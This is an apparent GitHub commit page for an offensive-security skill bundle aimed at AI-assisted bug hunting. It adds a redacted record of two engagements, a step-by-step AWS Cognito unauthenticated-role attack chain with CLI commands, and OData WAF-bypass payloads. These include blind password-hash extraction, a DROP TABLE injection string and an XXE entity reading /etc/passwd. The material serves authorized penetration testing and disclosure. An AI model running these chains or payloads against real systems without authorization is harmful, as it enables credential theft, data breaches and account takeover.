mirror of
https://github.com/elementalsouls/Claude-BugHunter.git
synced 2026-12-06 21:16:56 +08:00
v2: report-curation + 5 missing surfaces + chains + engagements
Workstream A — Report-curation backfill across 11 hunt-* skills.
hunt-graphql 3 -> 12 | hunt-race-condition 3 -> 12 | hunt-xxe 4 -> 10
hunt-cache-poison 4 -> 10 | hunt-auth-bypass 4 -> 12 | hunt-business-logic 7 -> 12
hunt-sqli 8 -> 12 | hunt-ssrf 9 -> 15 | hunt-csrf 10 -> 15
hunt-oauth 10 -> 19 | hunt-subdomain 11 -> 15.
Citations are primary-source URLs (HackerOne reports, GitHub Security
Advisories, PortSwigger Research, vendor advisories).
Workstream B — Five 2024-2026 surfaces previously missing now covered:
Duende BFF role-partitioned CSRF + token-confusion (hunt-csrf, hunt-auth-bypass)
OData WAF blacklist bypass (hunt-api-misconfig)
NSwag/Swagger spec exposure + ~100-path discovery wordlist
(hunt-api-misconfig, web2-recon)
Cognito IdentityPool unauthenticated-role chain (cloud-iam-deep)
CloudWatch RUM weaponization (hunt-cloud-misconfig).
Workstream C — HTTP/2 single-packet attack 145-line deep reference in
hunt-race-condition: last-byte-sync mechanic explained step by step,
Wireshark validation procedure, h2.0 single-frame vs h2.cl multi-frame
variants, race-window estimation methodology, Turbo Intruder Engine.BURP2
template explained line-by-line, multi-connection-single-stream decision
tree, Flatt Security's 10,000-request first-sequence-sync extension,
operator playbook. Cites Kettle DEF CON 31 + Flatt 2024 explicitly.
Workstream D — Zero-report skills backfilled:
cloud-iam-deep 0 -> 6 | okta-attack 0 -> 8
vmware-vcenter-attack 0 -> 10 | supply-chain-attack-recon 0 -> 12.
All citations primary-source URLs (CISA KEV, Mandiant, ZDI,
vendor advisories, GitHub Security blog).
Workstream E — Chains & Compositions sections on the 5 high-volume skills
(hunt-misc, hunt-xss, hunt-rce, hunt-idor, hunt-subdomain). 29
fully-developed A->B->C chain examples. Each chain: primitive A,
primitive B, terminal impact, real-world reference, severity rationale.
Workstream F — New ENGAGEMENTS.md (continent-level abstraction, SoW-redacted)
documenting two authorized engagements as the evidence file under the
README's "battle-tested" claim. Explicitly separates training-platform
exercises from authorized-engagement validation.
Bundle metrics:
report_count 574 -> 681 (+107)
top-3 dominance 81.2% -> 68.4% (-13 pp)
skills at report_count = 0 4 -> 0
named missing 2024-26 surfaces 5/5 -> 0/5
documented chain examples 0 -> 29
Addresses public critique of v1 calibration and coverage gaps.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
co-authored by
Claude Opus 4.7
parent
29995b8347
commit
c42e50d760
+154
@@ -0,0 +1,154 @@
|
||||
# ENGAGEMENTS
|
||||
|
||||
This file records the **authorized engagements** that drove development of the bundle's skills. It exists so that readers can calibrate the README's "battle-tested" framing against real targets, rather than against the deliberately-vulnerable public training platforms (DVWA, OWASP Juice Shop, testphp.vulnweb, Hacker101) that the bundle is also exercised against.
|
||||
|
||||
Specifics are intentionally redacted per signed SoWs / NDAs. What remains is enough to let a future reader judge whether the bundle's content was tested against real, defended, internet-exposed enterprise infrastructure — versus only against lab targets.
|
||||
|
||||
---
|
||||
|
||||
## Redaction Rules
|
||||
|
||||
**Present here:**
|
||||
- Engagement **type** (bug-bounty / WAPT / red-team / pentest)
|
||||
- **Quarter-year** only (no specific date)
|
||||
- **Continent-level region** (Europe / Asia / North America / etc.)
|
||||
- **Tech-stack class** at the level of abstraction that calibrates impact without naming a vendor + version chain that uniquely identifies a target
|
||||
- Skills **produced or extended** as a result (these skills are themselves public in this repo)
|
||||
- **Finding count by severity tier** (no per-finding specifics)
|
||||
- **Lesson narrative** describing what gap in the bundle the engagement exposed
|
||||
|
||||
**Intentionally absent:**
|
||||
- Client / company / brand / product / employee names
|
||||
- Specific URLs, IP addresses, hostnames, internal AD domain names
|
||||
- Mobile-app package identifiers
|
||||
- Per-finding payload, request body, screenshot, CVE-pending number, advisory ID
|
||||
- Specific months within the quarter (intentional abstraction)
|
||||
- Anything an attacker could correlate against Wayback / breach corpora / OSINT to identify the target post-publication
|
||||
|
||||
---
|
||||
|
||||
## Engagement Index
|
||||
|
||||
| # | Period | Type | Region | Tech-stack class | Findings (C/H/M/L) | Skills produced/extended |
|
||||
|---|---|---|---|---|---|---|
|
||||
| 01 | 2026 Q2 | WAPT (bug-bounty mode) | Europe | Internet-exposed on-prem CMS farm, EoL since 2023 | 3 / 0 / 2 / 6 | 3 new + 2 extended |
|
||||
| 02 | 2026 Q2 | External red-team | Asia | Mobile-heavy external surface + cloud identity fabric | 2 / 4 / 5 / 3 | 4 new + 1 extended |
|
||||
|
||||
*Future engagements will be added as authorizations permit; some prior engagements are not listed because the SoW / NDA does not permit even abstracted disclosure.*
|
||||
|
||||
---
|
||||
|
||||
## Engagement 01 — 2026 Q2 · WAPT (bug-bounty mode)
|
||||
|
||||
**Region:** Europe
|
||||
|
||||
**Tech-stack class:**
|
||||
- Internet-exposed Microsoft SharePoint Server farm on a version line that reached end-of-extended-support in early 2023
|
||||
- Hosted behind a US-based public-cloud Layer-7 load balancer in an EU region, fronting on-prem IIS back-ends
|
||||
- Dual-auth configuration (custom Forms-auth UI + NTLM challenge available on every API endpoint)
|
||||
- Internal Active Directory was a child of a parent corporate AD forest
|
||||
|
||||
**Findings:** **3 Critical** · **0 High** · **2 Medium** · **6 Low / Informational** (11 total)
|
||||
|
||||
The three Criticals were each verified with two independent reproduction tools (`curl` + Python raw socket + Burp Repeater per the bundle's Multi-Tool Reproduction Bar). The two Mediums included the EoL-software exposure and an Active-Directory-topology disclosure via the NTLM Type-2 challenge. The six Low/Info findings covered stack-trace disclosure surfaces, permissive CSP, anonymous API metadata enumeration, and load-balanced ViewState handoff failures.
|
||||
|
||||
**Skills produced:**
|
||||
- `hunt-sharepoint` — new (SharePoint Server attack surface)
|
||||
- `hunt-aspnet` — new (ASP.NET-specific surface: ViewState, machineKey, request validator, dual-parser anti-pattern)
|
||||
- `hunt-ntlm-info` — new (NTLM Type-2 challenge AD-topology disclosure)
|
||||
|
||||
**Skills extended:**
|
||||
- `bb-methodology` — added PART 0 (Mode-Confirmation Gate), PART 4 (Methodology Discipline: Marker / Body-Diff / Statistical-Sample / Shell-Loop rules), Pushback Protocol, Multi-Tool Reproduction Bar
|
||||
- `triage-validation` — added Pre-Severity Gate and Retraction Discipline
|
||||
- `hunt-auth-bypass` — added Legacy-Protocol Matrix (mapping target tech to legacy login endpoints, e.g. SharePoint's `/_vti_bin/Authentication.asmx` as the WordPress XMLRPC equivalent)
|
||||
|
||||
**Gap exposed → bundle change:** The engagement's highest-impact finding came from probing a legacy SOAP login endpoint that the branded login UI made everyone forget about — the WordPress-XMLRPC-bypass pattern applied to SharePoint. The bundle had `hunt-auth-bypass` loaded during the engagement, but the skill described only WordPress / XMLRPC. The Legacy-Protocol Matrix was added afterwards so that future engagements against any custom-branded login UI prompt an immediate probe of the platform's legacy login endpoint.
|
||||
|
||||
A first-pass on the engagement produced five hygiene-tier findings (EoL software, permissive CSP, stack traces) framed as a red-team report. After pushback, the second pass — using bug-bounty discipline (impact-only) and walking 3 more `hunt-*` skill checklists end-to-end — produced the 11 findings above. This experience drove the Mode-Confirmation Gate (PART 0 of `bb-methodology`) and the Pushback Protocol.
|
||||
|
||||
Four false positives also surfaced during the engagement, each retracted after verification: a marker-collision reflection bug, a status-code-only Host-header "bypass" with byte-identical body, a single-sample timing leak that collapsed under n=80 reproduction, and a server-policy blocklist mistaken for a file-existence oracle. All four became the `feedback-false-positive-discipline` content in the discipline-rule additions to `bb-methodology` PART 4.
|
||||
|
||||
---
|
||||
|
||||
## Engagement 02 — 2026 Q2 · External red-team
|
||||
|
||||
**Region:** Asia
|
||||
|
||||
**Tech-stack class:**
|
||||
- Public-internet attack surface for an enterprise organisation with a heavy mobile-app catalogue (multiple Android applications distributed via Google Play)
|
||||
- Cloud identity fabric in active use (Entra / M365 / OAuth) including OAuth flows where claim fields are scanned with substring matching
|
||||
- On-prem and cloud assets co-existing; identity provider federated with an internal AD
|
||||
- Conventional perimeter (SSL VPN, web portal, ERP-adjacent endpoints) plus the mobile attack surface
|
||||
|
||||
**Findings:** **2 Critical** · **4 High** · **5 Medium** · **3 Low / Informational** (14 total)
|
||||
|
||||
Findings were packaged into a client-facing red-team deliverable with embedded screenshots (per the format documented in `redteam-report-template`). Severity distribution skews toward High and Medium because the engagement was scoped as external red-team (which accepts hygiene + recon findings as deliverables), distinct from the bug-bounty mode that drove Engagement 01.
|
||||
|
||||
**Skills produced:**
|
||||
- `apk-redteam-pipeline` — new (Android APK acquisition, jadx decompile, secret-grep, pinned-cert extraction, exported-component enum, Frida instrumentation templates)
|
||||
- `mid-engagement-ir-detection` — new (methodology for detecting client SOC patches, attacker activity, and security-state changes that occur DURING a red-team engagement)
|
||||
- `redteam-mindset` — new (operator-discipline corrections that separate offensive testing from defensive WAPT)
|
||||
- `redteam-report-template` — new (client-facing red-team deliverable format: Subject / Observations / Description / Impact / Recommendation / PoC structure with DOCX rendering pipeline)
|
||||
|
||||
**Skills extended:**
|
||||
- `bb-methodology` — added the Pushback Protocol's worked example (the lesson that "if a user authorizes full engagement, no mid-run permission gates — discipline rules govern finding-correctness, not effort-throttling")
|
||||
|
||||
**Gaps exposed → bundle change:**
|
||||
|
||||
1. **Mid-engagement security-state changes** — during testing, the client's SOC detected and **patched a confirmed SQLi within ~30 minutes** of the first probe, AND a separate external attacker was observed locking accounts of legitimate users during the test session (mid-engagement IR activity). Initially this was treated as "test invalidated, retract." The corrected handling — keep the finding with timestamped pre-patch evidence + document the IR detection as itself a deliverable observation — became `mid-engagement-ir-detection`. The "don't retract confirmed findings just because they stop reproducing — assume client patched" rule is core to the skill.
|
||||
|
||||
2. **Operator capability assumption** — the engagement's authorization gave broader scope than initial conservative defaults assumed, causing multiple findings to be missed during the first pass. Lesson: when the user says "I have credentials," default to LEAST capability (creds only — no MFA device, no endpoint compromise, no browser session) and ask before describing operator-assisted flows. Became `feedback_operator_capability_assumption` and shaped `redteam-mindset`.
|
||||
|
||||
3. **OAuth claim-field substring traps** — Microsoft's MFA-required (AADSTS50076) and Conditional-Access-claims-challenge response bodies contain the literal text `access_token` as a substring inside the claims-challenge JSON, NOT as an actual issued token. A naive substring-match in tooling treats this as "auth bypass succeeded." Lesson: always JSON-parse, never substring-match. Became `feedback_oauth_substring_trap` in the memory layer and informs the OAuth and identity-fabric coverage in `hunt-oauth` and `m365-entra-attack`.
|
||||
|
||||
4. **APK acquisition pipeline gaps** — multiple targeted APKs had truncated downloads via standard tooling (apkpure / apkmirror), requiring a fallback chain (Play Store extractor → apkpure → apkmirror) and manual verification. The lesson became `apk-redteam-pipeline`'s acquisition section, which now codifies the fallback ordering and the truncation-detection step that triggers a retry.
|
||||
|
||||
5. **The 8.5/10 honest-revalidation experience** — after this engagement, an internal "is the bundle as strong as we claim" revalidation downgraded the bundle's self-assessment from 10/10 to 8.5/10. That triggered the public-critique response cycle (Workstreams A through F in this repo's commit history) that produced this file.
|
||||
|
||||
---
|
||||
|
||||
## Skill-to-Engagement Map (reverse index)
|
||||
|
||||
| Skill (in `skills/`) | Authored / Extended By |
|
||||
|---|---|
|
||||
| `hunt-sharepoint` | Engagement 01 |
|
||||
| `hunt-aspnet` | Engagement 01 |
|
||||
| `hunt-ntlm-info` | Engagement 01 |
|
||||
| `bb-methodology` (PART 0, PART 4, Pushback Protocol, Multi-Tool Reproduction Bar) | Engagement 01 (+ Engagement 02 worked example) |
|
||||
| `triage-validation` (Pre-Severity Gate, Retraction Discipline) | Engagement 01 |
|
||||
| `hunt-auth-bypass` (Legacy-Protocol Matrix) | Engagement 01 |
|
||||
| `apk-redteam-pipeline` | Engagement 02 |
|
||||
| `mid-engagement-ir-detection` | Engagement 02 |
|
||||
| `redteam-mindset` | Engagement 02 |
|
||||
| `redteam-report-template` | Engagement 02 |
|
||||
|
||||
Every other skill in `skills/` is **report-curated** (built from public disclosed bug-bounty / coordinated-disclosure / CVE corpus — see each skill's `## Disclosed Report Citations` section and frontmatter `sources:`) rather than engagement-derived. Both kinds of skill are valuable; the distinction matters because they're calibrated differently. Engagement-derived skills carry one real PoC's worth of evidence and the lessons of one live target. Report-curated skills carry the pattern depth of many real targets without first-hand reproduction.
|
||||
|
||||
---
|
||||
|
||||
## Calibration Notes for the README's "Battle-Tested" Claim
|
||||
|
||||
The README states the bundle is "battle-tested across authorized red-team and bug-hunting engagements, plus public training platforms (DVWA, OWASP Juice Shop, Hacker101, testphp.vulnweb.com)."
|
||||
|
||||
Concretely, "battle-tested" means:
|
||||
- **Two authorized engagements documented here** (more not listed for SoW reasons).
|
||||
- **One pre-publication revalidation cycle** (the 8.5/10 honest re-grade after Engagement 02) that drove substantive content additions in Workstreams A-F (report-curation backfill across 11 skills, 5 missing 2024-2026 surfaces added, 3 zero-report skills moved to ≥6 citations each, 5 chain-composition sections added to the high-volume skills, HTTP/2 single-packet deep reference added to `hunt-race-condition`).
|
||||
- **The training-platform exercises** are separately useful — primarily for new operators learning to use the bundle — but should NOT be conflated with the authorized engagements. The training platforms are deliberately-vulnerable; finding bugs in them validates the operator, not the bundle.
|
||||
|
||||
What "battle-tested" does NOT mean (intentional honesty):
|
||||
- It does not mean every `hunt-*` skill in the bundle was used in every engagement. The engagement count is small; the bundle is broad. Most skills here have not seen a live engagement reproduction yet, and that fact is visible in each skill's `sources:` frontmatter (`engagement_*` vs `hackerone_public` / `github_security_advisories`).
|
||||
- It does not mean the engagements were comprehensive penetration tests of those clients. They were scoped engagements with specific deliverables; what they tested is reflected in the skills produced, not in the totality of what the clients' attack surfaces contain.
|
||||
|
||||
This file is the calibration source. Readers who want to know "is the bundle's content backed by real engagement evidence" can read here and make their own determination at the abstraction level the SoWs permit.
|
||||
|
||||
---
|
||||
|
||||
## How to Read the Frontmatter `sources:` Field on Individual Skills
|
||||
|
||||
Each `skills/*/SKILL.md` declares its evidence basis. The convention used in this repo:
|
||||
|
||||
- `sources: hackerone_public, github_security_advisories, ...` — skill is **report-curated** from public disclosed corpus. Citations live in the `## Disclosed Report Citations` section of that skill.
|
||||
- `sources: authorized-engagement` — skill is **engagement-derived** from one of the engagements listed above. The lessons codified in the skill came from first-hand reproduction in a real target rather than from public reports.
|
||||
- `sources: <mixed>` — skill has both report-curated patterns AND engagement-derived sections (e.g. `cloud-iam-deep` after Workstream B added the Cognito Identity Pool chain).
|
||||
|
||||
The honest claim for any skill in the bundle is what its `sources:` field says — not the README's headline. The README is the marketing; the skill frontmatter is the contract.
|
||||
@@ -1,8 +1,8 @@
|
||||
---
|
||||
name: cloud-iam-deep
|
||||
description: Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token exfil, role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.
|
||||
sources: aws-iam-docs, azure-rbac-docs, gcp-iam-docs, hackingthe.cloud, pacu, peirates, prowler
|
||||
report_count: 0
|
||||
description: Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token exfil, role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.
|
||||
sources: aws-iam-docs, azure-rbac-docs, gcp-iam-docs, hackingthe.cloud, pacu, peirates, prowler, rhinosecuritylabs_research, hackerone_public
|
||||
report_count: 6
|
||||
---
|
||||
|
||||
## When to use
|
||||
@@ -403,6 +403,114 @@ Cloud activity is trivially auditable; the client WILL find it post-engagement.
|
||||
|
||||
---
|
||||
|
||||
## AWS Cognito Identity Pool — Unauthenticated-Role Attack Chain (2024-2026 surface)
|
||||
|
||||
AWS Cognito has two distinct services often confused: **User Pools** (auth provider) and **Identity Pools** (federated identity → IAM credentials). Identity Pools can be configured with *"Enable access to unauthenticated identities"* — which gives ANY anonymous caller an IAM role via `cognito-identity:GetId` → `cognito-identity:GetCredentialsForIdentity`. Mobile apps and SPAs ship the IdentityPoolId in the page bundle. Developers commonly attach overly-broad IAM permissions to the unauth role, especially when the pool was set up for AWS Amplify / Pinpoint / CloudWatch RUM and the role policy was never narrowed.
|
||||
|
||||
### Step 1 — Discover the IdentityPoolId
|
||||
|
||||
The IdentityPoolId is a **public identifier** by AWS design (`<region>:<UUID>` format). The find:
|
||||
|
||||
```bash
|
||||
# JS bundle / SPA regex (against *.js, *.html, source-map files)
|
||||
grep -ErohE "identityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
|
||||
grep -ErohE "IdentityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
|
||||
grep -ErohE "\"PoolId\"\s*:\s*\"([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})\"" .
|
||||
|
||||
# Mobile APK (after jadx decompile)
|
||||
grep -rEi "identity[_-]?pool[_-]?id" decoded/
|
||||
grep -rE "\"[a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36}\"" decoded/
|
||||
|
||||
# Also check
|
||||
amplifyconfiguration.json
|
||||
awsconfiguration.json
|
||||
aws-exports.js
|
||||
.env.js
|
||||
*.js.map
|
||||
```
|
||||
|
||||
Wayback CDX captures, GitHub code-search for the apex domain + `IdentityPoolId`, and JS chunks linked from `index.html` are the high-yield search corpora.
|
||||
|
||||
### Step 2 — `GetId` (unauth)
|
||||
|
||||
```bash
|
||||
aws cognito-identity get-id \
|
||||
--identity-pool-id us-east-1:abcd1234-5678-90ab-cdef-1234567890ab \
|
||||
--region us-east-1 \
|
||||
--no-sign-request
|
||||
```
|
||||
|
||||
`--no-sign-request` is critical — tells the CLI not to look for ambient AWS credentials. Returns `{"IdentityId": "us-east-1:<uuid>"}`. If this returns `NotAuthorizedException`, unauth identities are disabled — stop, not exploitable.
|
||||
|
||||
### Step 3 — `GetCredentialsForIdentity`
|
||||
|
||||
```bash
|
||||
aws cognito-identity get-credentials-for-identity \
|
||||
--identity-id us-east-1:<returned-uuid> \
|
||||
--region us-east-1 \
|
||||
--no-sign-request
|
||||
```
|
||||
|
||||
Returns real STS credentials with ~1 hour TTL: `AccessKeyId` (ASIA…), `SecretKey`, `SessionToken`, `Expiration`.
|
||||
|
||||
### Step 4 — Confirm role ARN
|
||||
|
||||
```bash
|
||||
export AWS_ACCESS_KEY_ID=ASIA...
|
||||
export AWS_SECRET_ACCESS_KEY=...
|
||||
export AWS_SESSION_TOKEN=...
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
|
||||
Returns role ARN like `arn:aws:sts::<account>:assumed-role/Cognito_<PoolName>Unauth_Role/CognitoIdentityCredentials`. Account ID is now disclosed.
|
||||
|
||||
### Step 5 — Enumerate role permissions
|
||||
|
||||
Direct (rare):
|
||||
```bash
|
||||
aws iam get-role --role-name Cognito_<PoolName>Unauth_Role
|
||||
aws iam list-role-policies --role-name Cognito_<PoolName>Unauth_Role
|
||||
aws iam list-attached-role-policies --role-name Cognito_<PoolName>Unauth_Role
|
||||
```
|
||||
|
||||
Blackbox (the normal case) — fire a permission probe across high-value services and observe `AccessDenied` vs success. Pacu's `iam__enum_permissions --role-name <name>` brute-forces ~500 IAM actions; `enumerate-iam.py` by Andrés Riancho covers ~1000. Common over-permissions: `s3:Get*`/`s3:List*`, `dynamodb:Scan`, `lambda:InvokeFunction`, `appsync:GraphQL`, `cognito-idp:AdminCreateUser`, `iam:PassRole`, `kms:Decrypt`.
|
||||
|
||||
### Severity rubric
|
||||
|
||||
| Finding | Severity | Justification |
|
||||
|---|---|---|
|
||||
| Unauth role with `*:*` or `AdministratorAccess` | **Critical** (9.8+) | Full AWS account takeover |
|
||||
| Unauth role with `s3:Get*` / `s3:List*` on production customer buckets, or `dynamodb:Scan` on user tables | **Critical** (9.1-9.8) | Mass PII / data breach |
|
||||
| Unauth role with `appsync:GraphQL` on production API, or `lambda:InvokeFunction` on internal lambdas | **Critical** (9.0) | Authenticated backend access |
|
||||
| Unauth role with `cognito-idp:Admin*` on the linked User Pool | **Critical** (9.1) | Mass ATO primitive |
|
||||
| Unauth role with `iam:PassRole` + create-function | **Critical** (9.8) | Documented priv-esc to admin |
|
||||
| Unauth role with `s3:PutObject` on web-hosting bucket | **High** (8.1) | Stored XSS / supply-chain |
|
||||
| Unauth role with `kms:Decrypt` on a customer CMK | **High** (7.5-8.5) | Depends on ciphertext reachability |
|
||||
| Unauth role with read-only on a single hardcoded non-sensitive resource | **Medium** (5.3) | Limited business impact |
|
||||
| Unauth identities enabled but role policy denies everything | **Informational** | Best-practice deviation only |
|
||||
|
||||
### Disclosed cases / authoritative writeups
|
||||
|
||||
1. **Andres Riancho — "Misconfigured Cognito Identity Pools" (2020, refreshed 2023)** — original research establishing the attack class. `GetCredentialsForIdentity` against unauth pools with default `*` policies. [andresriancho.com](https://andresriancho.com/identity-pools-and-the-default-iam-role-trap/)
|
||||
2. **Rhino Security Labs — Pacu `cognito__enum_identity_pools` module** — production tooling that automates Steps 1-5 of the chain. [github.com/RhinoSecurityLabs/pacu](https://github.com/RhinoSecurityLabs/pacu/tree/master/pacu/modules/cognito__enum_identity_pools)
|
||||
3. **NotSoSecure / Claranet — "Exploiting weak configurations in Amazon Cognito" (Nov 2023)** — walkthrough of identityPoolId extraction → assume guest role → S3/DynamoDB/Lambda enumeration. Calls out RUM, Amplify, Pinpoint as the three SDKs that commonly expose the pool ID in HTML. [notsosecure.com](https://www.notsosecure.com/exploiting-weak-configurations-in-amazon-cognito/)
|
||||
4. **HackTricks Cloud — `aws-cognito-unauthenticated-enum`** — canonical playbook covering Steps 1-5. [cloud.hacktricks.wiki](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html)
|
||||
5. **Spaceraccoon / Eugene Lim — "Mass Account Takeover via Cognito IdentityPool" (Medium, 2020)** — SaaS provider exposed IdentityPoolId in Amplify config; unauth role had `cognito-idp:AdminConfirmSignUp` + `AdminUpdateUserAttributes` on the linked User Pool — silent confirmation of any signup + email change = mass ATO.
|
||||
6. **Datadog Security Labs — "Following AWS Logs Backwards: Cognito Identity Pool Abuse" (2024)** — telemetry across Datadog customer base showing real-world Cognito pool abuse. Non-trivial percentage of pools paired with policies broader than the minimum required. [securitylabs.datadoghq.com](https://securitylabs.datadoghq.com/articles/abusing-aws-cognito-misconfigurations/)
|
||||
|
||||
### Reporting tip
|
||||
|
||||
Always include in the report:
|
||||
- `sts get-caller-identity` output (proves the role ARN + account ID)
|
||||
- Pacu `iam__enum_permissions` JSON output (proves the granted actions)
|
||||
- A concrete data-pull PoC (one sample S3 object listing, one DynamoDB record with PII redacted)
|
||||
|
||||
Without all three, triagers downgrade to Medium. The 60-second test is `GetId → GetCredentialsForIdentity → sts get-caller-identity`. If you reach step 3 anonymously, you have a finding.
|
||||
|
||||
Cross-reference: `hunt-cloud-misconfig` → `CloudWatch RUM weaponization` covers the specific RUM-embedded variant of this attack class.
|
||||
|
||||
---
|
||||
|
||||
## Related Skills & Chains
|
||||
|
||||
- **`hunt-ssrf`** — Most external paths to a cloud credential begin with SSRF reaching the metadata service. Chain primitive: SSRF + IMDSv1 → instance role token → `cloud-iam-deep` privilege-escalation patterns reach prod S3 / Secrets Manager.
|
||||
|
||||
@@ -43,6 +43,134 @@ curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
|
||||
|
||||
---
|
||||
|
||||
## OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)
|
||||
|
||||
OData (Open Data Protocol) is the query layer behind **SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori,** and any ASP.NET WebAPI project using `Microsoft.AspNetCore.OData`. It exposes SQL-shaped query operators (`eq`, `ne`, `and`, `or`, `substringof`, `startswith`, `tolower`, `concat`, `replace`) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.
|
||||
|
||||
### Attack class 1 — Boolean-logic blind extraction via `startswith` / `substringof`
|
||||
|
||||
```
|
||||
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
|
||||
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')
|
||||
```
|
||||
|
||||
Iterate prefix character-by-character; cardinality of the response (or `@odata.count`) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no `'`/`--` characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 / Power Apps Portals **password hashes, names, emails, addresses, financial data** in Dec 2023; Microsoft patched May 2024. ([Stratus Security writeup](https://www.stratussecurity.com/post/critical-microsoft-365-vulnerability), [The Hacker News coverage Jan 2025](https://thehackernews.com/2025/01/severe-security-flaws-patched-in.html))
|
||||
|
||||
### Attack class 2 — `$orderby` / `$select` column-disclosure bypass
|
||||
|
||||
```
|
||||
GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname
|
||||
```
|
||||
|
||||
`$orderby` accepts column names the user has no `$select` permission for, but the engine still sorts on them — the returned order leaks the protected column. Column-level ACLs are enforced on the projection (`$select`) but NOT on `$orderby` / `$filter` — same protected column, different code path. Second Stratus finding in the same Dynamics 365 disclosure; "more dangerous than the first because it directly returned the data" per Stratus.
|
||||
|
||||
### Attack class 3 — `$batch` multipart/mixed → per-request WAF signatures miss sub-operations
|
||||
|
||||
```
|
||||
POST /odata/$batch Content-Type: multipart/mixed; boundary=batch_1
|
||||
--batch_1
|
||||
Content-Type: application/http
|
||||
GET Users?$filter=1 eq 1 HTTP/1.1
|
||||
--batch_1--
|
||||
```
|
||||
|
||||
WAFs that scan only the outer request body (or that don't natively parse `multipart/mixed`) skip every inner operation. ModSecurity refused `multipart/mixed` historically ([Issue #3296](https://github.com/owasp-modsecurity/ModSecurity/issues/3296)); F5 added native batch parsing only in Advanced WAF v16.1 ([F5 SAP-Fiori advisory](https://www.f5.com/company/blog/securing-sap-fiori-http-batched-requests-odata-with-f5-advance)). The 2025 WAFFLED paper ([arXiv 2503.10846](https://arxiv.org/html/2503.10846v1)) generalises the parsing-discrepancy bypass class across 5 major WAFs.
|
||||
|
||||
### Attack class 4 — Encoded / non-canonical operator → keyword-blacklist bypass
|
||||
|
||||
```
|
||||
GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201 # URL-encoded $
|
||||
GET /api?%2524filter=... # double-encoded
|
||||
GET /Users(1)/$value # path-segment style
|
||||
```
|
||||
|
||||
Mixed-case operators (`Eq`, `EQ`) and obscure ones (`substringof`, `tolower`, `concat`, `replace`) look unlike `SELECT`/`UNION` so SQLi-keyword signatures never fire. WAFs that key on the literal string `$filter` see neither form — but the OData server normalises both before evaluating the predicate. Documented since Kalra Black Hat AD 2012; canonical OData-vs-WAF impedance mismatch. ([OWASP Double Encoding](https://owasp.org/www-community/Double_Encoding))
|
||||
|
||||
### Attack class 5 — OData → real SQLi when library passes filter raw
|
||||
|
||||
```
|
||||
$filter=Name eq 'x'); DROP TABLE Users--'
|
||||
```
|
||||
|
||||
Only triggers when the OData layer string-concatenates into SQL instead of using LINQ. Documented in [OData/WebApi Issue #2352](https://github.com/OData/WebApi/issues/2352). The XML-deserialisation variant: **CVE-2019-17554** (Apache Olingo OData 4.0.0-4.6.0, XXE via `<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]>` in `application/xml` body, CVSS 7.5). DoS variant: **CVE-2018-8269** (Microsoft.Data.OData deep `$filter` recursion → stack overflow).
|
||||
|
||||
### Bonus — `$expand` navigation-property IDOR
|
||||
|
||||
```
|
||||
GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))
|
||||
```
|
||||
|
||||
Authorisation decorators applied to top-level entity sets; the engine joins along navigation properties without re-checking ACL on the joined entity. Same root cause as the 2021 PowerApps Portals 38M-record mass leak ([UpGuard writeup](https://www.upguard.com/breaches/power-apps)).
|
||||
|
||||
### Detection heuristics
|
||||
|
||||
- Response headers: `OData-Version: 4.0` / `DataServiceVersion: 3.0`; URL paths `/_api/`, `/odata/`, `/_vti_bin/`, `/api/data/v9.x/`, `/sap/opu/odata/`.
|
||||
- Try `$metadata` → if anonymous, the full schema (entity sets, navigation properties, function imports) is yours.
|
||||
- Probe each entity set with `$filter=1 eq 1`, `$top=1`, `$select=*`, then `$orderby=<column-you-shouldnt-see>` for column-level ACL.
|
||||
- Send the same payload three ways (`$filter=`, `%24filter=`, `%2524filter=`) and through `$batch` — divergent WAF behaviour confirms the parser-discrepancy bug.
|
||||
|
||||
---
|
||||
|
||||
## NSwag / Swagger / OpenAPI Spec Exposure (2024-2026 surface)
|
||||
|
||||
